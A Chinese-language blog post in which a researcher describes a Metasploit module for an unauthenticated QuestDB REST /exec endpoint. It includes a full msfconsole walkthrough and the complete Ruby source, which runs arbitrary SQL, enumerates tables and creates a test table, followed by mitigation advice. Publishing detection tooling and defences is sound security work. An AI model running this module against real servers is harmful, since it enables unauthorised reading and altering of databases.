我提交的 QuestDB 漏洞模块已合并至 Metasploit!附完整使用教程 + 原理分析

0 阅读8分钟

作为一名专注于网络安全的研究员,近期我发现了 QuestDB 时序数据库的严重认证绕过漏洞(CNVD-2026-84827),该漏洞可导致攻击者在无需认证的情况下执行任意 SQL 命令,对金融、物联网等依赖 QuestDB 的场景造成重大安全威胁。为了让安全社区更高效地检测该漏洞,我开发了对应的 Metasploit 模块并提交至官方仓库(PR 链接:github.com/rapid7/meta… ),目前该模块已可在 msfconsole 中直接使用。本文将详细介绍模块的开发背景、使用方法、工作原理及核心源码,帮助大家快速上手。


q_pink_name_white_background_1.png

漏洞背景与模块开发初衷

QuestDB 是一款开源高性能时序数据库,广泛应用于金融交易、物联网传感器数据采集等场景,其默认开放的 9000 端口 REST API 存在严重的认证绕过漏洞:即便管理员配置了http.security=true等安全参数,/exec端点仍会接受未授权请求,允许攻击者执行任意 DDL 和 DQL 命令。

此前我已通过微信公众号发布了漏洞详情(参考链接:[QuestDB惊现认证绕过漏洞(CVSS 9.8),大量金融/物联网系统恐成【透明库】]),并开发了开源 POC 工具 QuestExploit(github.com/ctkqiang/Qu… ),支持自动化漏洞探测与攻击演示。但考虑到安全研究员和渗透测试人员更习惯使用 Metasploit 框架进行漏洞验证,因此进一步开发了这款 MSF 模块,将漏洞探测与利用能力集成到主流渗透测试工具中,降低漏洞检测门槛。


该模块命名为 QuestDB SQL API Interaction Tool(模块路径:exploit/multi/http/questdb_rce),具备以下核心功能:

  • 自动版本探测:通过发送 select version() 请求,快速识别目标是否为 QuestDB 及具体版本;
  • 默认表枚举:未指定 SQL 语句时,自动执行 tables() 命令,返回目标数据库中所有表结构;
  • 自定义 SQL 执行:支持用户输入任意 DDL/DQL 语句,如创建表、查询数据等;
  • 高兼容性:已测试支持 QuestDB 8.x、9.x 版本,兼容 Linux、Docker 等多种部署环境;
  • 安全无副作用:模块仅执行查询和只读操作(除非用户主动输入破坏性 SQL),不会导致目标系统崩溃。

模块使用教程(含 msfconsole 完整输出)

1. 环境准备

  • Metasploit Framework 版本:v6.4.25+(若版本过旧,需执行 msfupdate 更新);
  • 目标:运行 QuestDB 的服务器(默认 9000 端口开放);
  • 网络:确保攻击机可访问目标的 9000 端口。

2. 完整操作流程

步骤 1:启动 msfconsole 并搜索模块

打开终端启动 msfconsole,通过 search questdb 命令即可找到该模块:

msf6 > search questdb

Matching Modules
================

   #  Name                            Disclosure Date  Rank       Check  Description
   -  ----                            ---------------  ----       -----  -----------
   0  exploit/multi/http/questdb_rce  .                excellent  Yes    QuestDB SQL API Interaction Tool

步骤 2:加载模块并配置参数

使用 use 命令加载模块,然后通过 set 命令配置目标 IP(RHOSTS)和端口(RPORT):

msf6 > use exploit/multi/http/questdb_rce
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/http/questdb_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/questdb_rce) > set RPORT 9000
RPORT => 9000

步骤 3:漏洞检测(check 命令)

执行 check 命令验证目标是否存在漏洞,模块会自动探测 QuestDB 版本并返回检测结果:

msf6 exploit(multi/http/questdb_rce) > check

[+] Detected QuestDB Version: PostgreSQL 12.3, compiled by Visual C++ build 1914, 64-bit, QuestDB
[*] 127.0.0.1:9000 - The target appears to be vulnerable.

截屏2026-02-23 下午11.31.48.png

步骤 4:默认模式运行(枚举所有表)

直接执行 run 命令,模块会自动执行 tables() 查询,返回目标数据库的所有表信息:

msf6 exploit(multi/http/questdb_rce) > run

[*] Started reverse TCP handler on 192.168.1.78:4444 
[*] Action: No query provided. Fetching all tables (Default)...
[+] SQL Execution Successful.
{
  "query": "tables()",
  "columns": [
    {
      "name": "id",
      "type": "INT"
    },
    {
      "name": "table_name",
      "type": "STRING"
    },
    {
      "name": "designatedTimestamp",
      "type": "STRING"
    },
    // 省略部分列信息...
  ],
  "timestamp": -1,
  "dataset": [
    [
      24,
      "tbl_bipsc",
      null,
      "NONE",
      false,
      false,
      // 省略部分表数据...
    ],
    [
      17,
      "stock_indicators",
      "timestamp",
      "DAY",
      true,
      false,
      // 省略部分表数据...
    ]
  ],
  "count": 11
}
[*] Exploit completed, but no session was created.

步骤 5:执行自定义 SQL 命令

通过 set QUERY 命令指定自定义 SQL 语句,例如创建测试表:

msf6 exploit(multi/http/questdb_rce) > set QUERY "CREATE TABLE msf_test(id INT, name STRING)"
QUERY => CREATE TABLE msf_test(id INT, name STRING)
msf6 exploit(multi/http/questdb_rce) > run

[*] Started reverse TCP handler on 192.168.1.78:4444 
[*] Action: Executing Raw User Query...
[+] SQL Execution Successful.
{
  "ddl": "OK"
}
[*] Exploit completed, but no session was created.

3. 常见命令总结

命令作用示例
set RHOSTS [IP]配置目标 IPset RHOSTS 192.168.1.100
set RPORT [端口]配置目标端口set RPORT 9000
set QUERY [SQL]指定自定义 SQLset QUERY "SELECT * FROM stock_indicators"
check漏洞检测-
run执行模块-
help查看模块帮助-

四、模块工作原理

模块的核心工作流程基于 QuestDB 的 REST API /exec 端点,通过 HTTP GET 请求发送 SQL 命令,具体流程如下:

关键原理说明

  1. 认证绕过:利用 QuestDB 默认配置下 /exec 端点无需认证的漏洞,直接发送 SQL 命令;
  2. HTTP 请求构造:通过 send_request_cgi 函数构造 GET 请求,将 SQL 语句编码后放入 query 参数;
  3. 结果解析:接收目标返回的 JSON 格式结果,通过 JSON.pretty_generate 格式化输出,方便用户查看;
  4. 版本探测:通过 select version() 命令获取目标版本,判断是否为受影响的 QuestDB 实例。

nPFDRjD058NtynJ33eHGAfQLW0fHyKyR6XO8iJ1cf5euFzXZ1Bka0gLE6rbHA0sD2JMa8W9aWqHfSHptPJpNpgglm81JIEeiKgc2ZJVNvznplwEPKQcWK2qhenDqaMG9pWgKA9A0g4HbWjCQKUcbY_WceO9QaFCIXOx5tgopdQsWPy9sAUoiiAQF197c5Goxw_sY0TihaRCMk2whDL21kqkYL11oD64oCXni0hFAAXPxtHaP.png

五、核心源码解析(Ruby)

以下是模块的完整 Ruby 源码,关键函数已添加注释:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'QuestDB SQL API Interaction Tool',
      'Description'    => %q{
        This module allows users to execute raw SQL queries against the QuestDB REST API
        or automatically list all available tables if no query is specified. This 
        targets the unauthenticated /exec endpoint.
      },
      'Author'         => [ 'ctkqiang' ], # 作者
      'License'        => MSF_LICENSE,
      'References'     => [
        [ 'CNVD', '2026-84827' ],
        [ 'URL', 'https://github.com/ctkqiang/QuestExploit' ], # POC工具
        [ 'URL', 'https://questdb.com/docs/query/rest-api/' ] # QuestDB官方API文档
      ],
      'Platform'       => 'linux',
      'Targets'        => [ [ 'Automatic', {} ] ],
      'DefaultTarget'  => 0,
      'Notes'          => {
        'Stability'    => [CRASH_SAFE], # 稳定无崩溃风险
        'SideEffects'  => [IOC_IN_LOGS] # 操作会留下日志痕迹
      }
    ))

    # 注册配置参数
    register_options([
      Opt::RPORT(9000), # 默认端口9000
      OptString.new('TARGETURI', [ true, "The base path to QuestDB", '/']),
      OptString.new('QUERY', [ false, 'The raw SQL query to execute', nil]) # 自定义SQL参数
    ])
  end

  # 漏洞检测函数:判断目标是否为易受攻击的QuestDB实例
  def check
    print_status("Checking for QuestDB SQL API endpoint...")

    # 发送版本查询请求
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'exec'),
      'vars_get' => { 'query' => 'select version()' }
    })

    unless res
      print_error("No response from server. Could not establish connection.")
      return Exploit::CheckCode::Safe
    end

    # 解析响应结果
    if res.code == 200 && res.body.include?('version')
      json_data = res.get_json_document
      if json_data && json_data['dataset'] && json_data['dataset'][0] && json_data['dataset'][0][0]
        version = json_data['dataset'][0][0]
        print_good("Detected QuestDB Version: #{version}")
        print_status("QuestDB SQL API endpoint is accessible and responding correctly.")
        return Exploit::CheckCode::Appears # 确认存在漏洞
      else
        print_error("Received invalid JSON structure from server.")
        return Exploit::CheckCode::Safe
      end
    elsif res.code == 200
      print_error("Received 200 OK but response does not contain version information.")
      print_error("This may not be a QuestdB instance or the API endpoint structure has changed.")
      return Exploit::CheckCode::Safe
    else
      print_error("Server returned unexpected status code: #{res.code}")
      print_error("Response body: #{res.body}")
      return Exploit::CheckCode::Safe
    end

    Exploit::CheckCode::Safe
  end

  # 核心执行函数
  def exploit
    # 若未指定SQL,默认执行tables()枚举表
    sql_query = datastore['QUERY'] || 'tables()'

    if datastore['QUERY']
      print_status("Action: Executing Raw User Query...")
    else
      print_status("Action: No query provided. Fetching all tables (Default)...")
    end

    # 调用SQL执行函数
    execute_sql(sql_query)
  end

  # SQL执行函数:发送SQL请求并处理响应
  def execute_sql(sql)
    response = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'exec'),
      'vars_get' => { 'query' => sql }
    })

    unless response
      print_error("No response from server.")
      return
    end

    # 处理成功响应
    if response.code == 200
      print_good("SQL Execution Successful.")
      json_data = response.get_json_document
      if json_data
        print_line(JSON.pretty_generate(json_data)) # 格式化输出JSON结果
      else
        print_status("Raw Response: #{response.body}")
      end
    else
      print_error("Server returned code #{response.code}: #{response.body}")
    end
  end
end

源码关键部分说明

  1. 参数注册:通过 register_options 定义了目标端口、路径、自定义 SQL 等可配置参数,提高模块灵活性;
  2. 漏洞检测(check 方法):通过发送版本查询请求,判断目标是否为 QuestDB 且 /exec 端点可访问;
  3. SQL 执行逻辑execute_sql 方法负责构造 HTTP 请求,发送 SQL 命令并解析 JSON 响应,格式化输出结果;
  4. 兼容性设计:支持自动适配不同版本的 QuestDB,无需用户手动指定目标版本。

六、注意事项与防护建议

1. 模块使用注意事项

  • 仅用于授权的渗透测试和漏洞检测,未经授权使用可能违反《网络安全法》;
  • 执行 DROPDELETE 等破坏性 SQL 前需谨慎,避免造成数据丢失;
  • 模块仅支持 SQL 查询和 DDL 操作,不支持 DML(如 INSERT)和命令执行,如需更复杂功能可使用 POC 工具(github.com/ctkqiang/Qu… )。

2. 目标系统防护建议

  • 紧急缓解:通过防火墙限制 9000 端口访问,仅允许可信 IP 连接;
  • 临时修复:部署 Nginx 反向代理,为 /exec 端点添加 HTTP Basic 认证;
  • 配置优化:修改 QuestDB 配置文件,将服务绑定到 127.0.0.1,仅允许本地访问;
  • 长期解决方案:关注 QuestDB 官方补丁,及时升级至修复版本。

七、总结

本次开发的 Metasploit 模块填补了 QuestDB 漏洞检测工具的空白,将漏洞利用能力集成到主流渗透测试框架中,方便安全人员快速验证目标系统安全性。该模块的核心价值在于 “简单易用”“精准高效”—— 无需复杂配置,新手也能在 5 分钟内完成漏洞检测。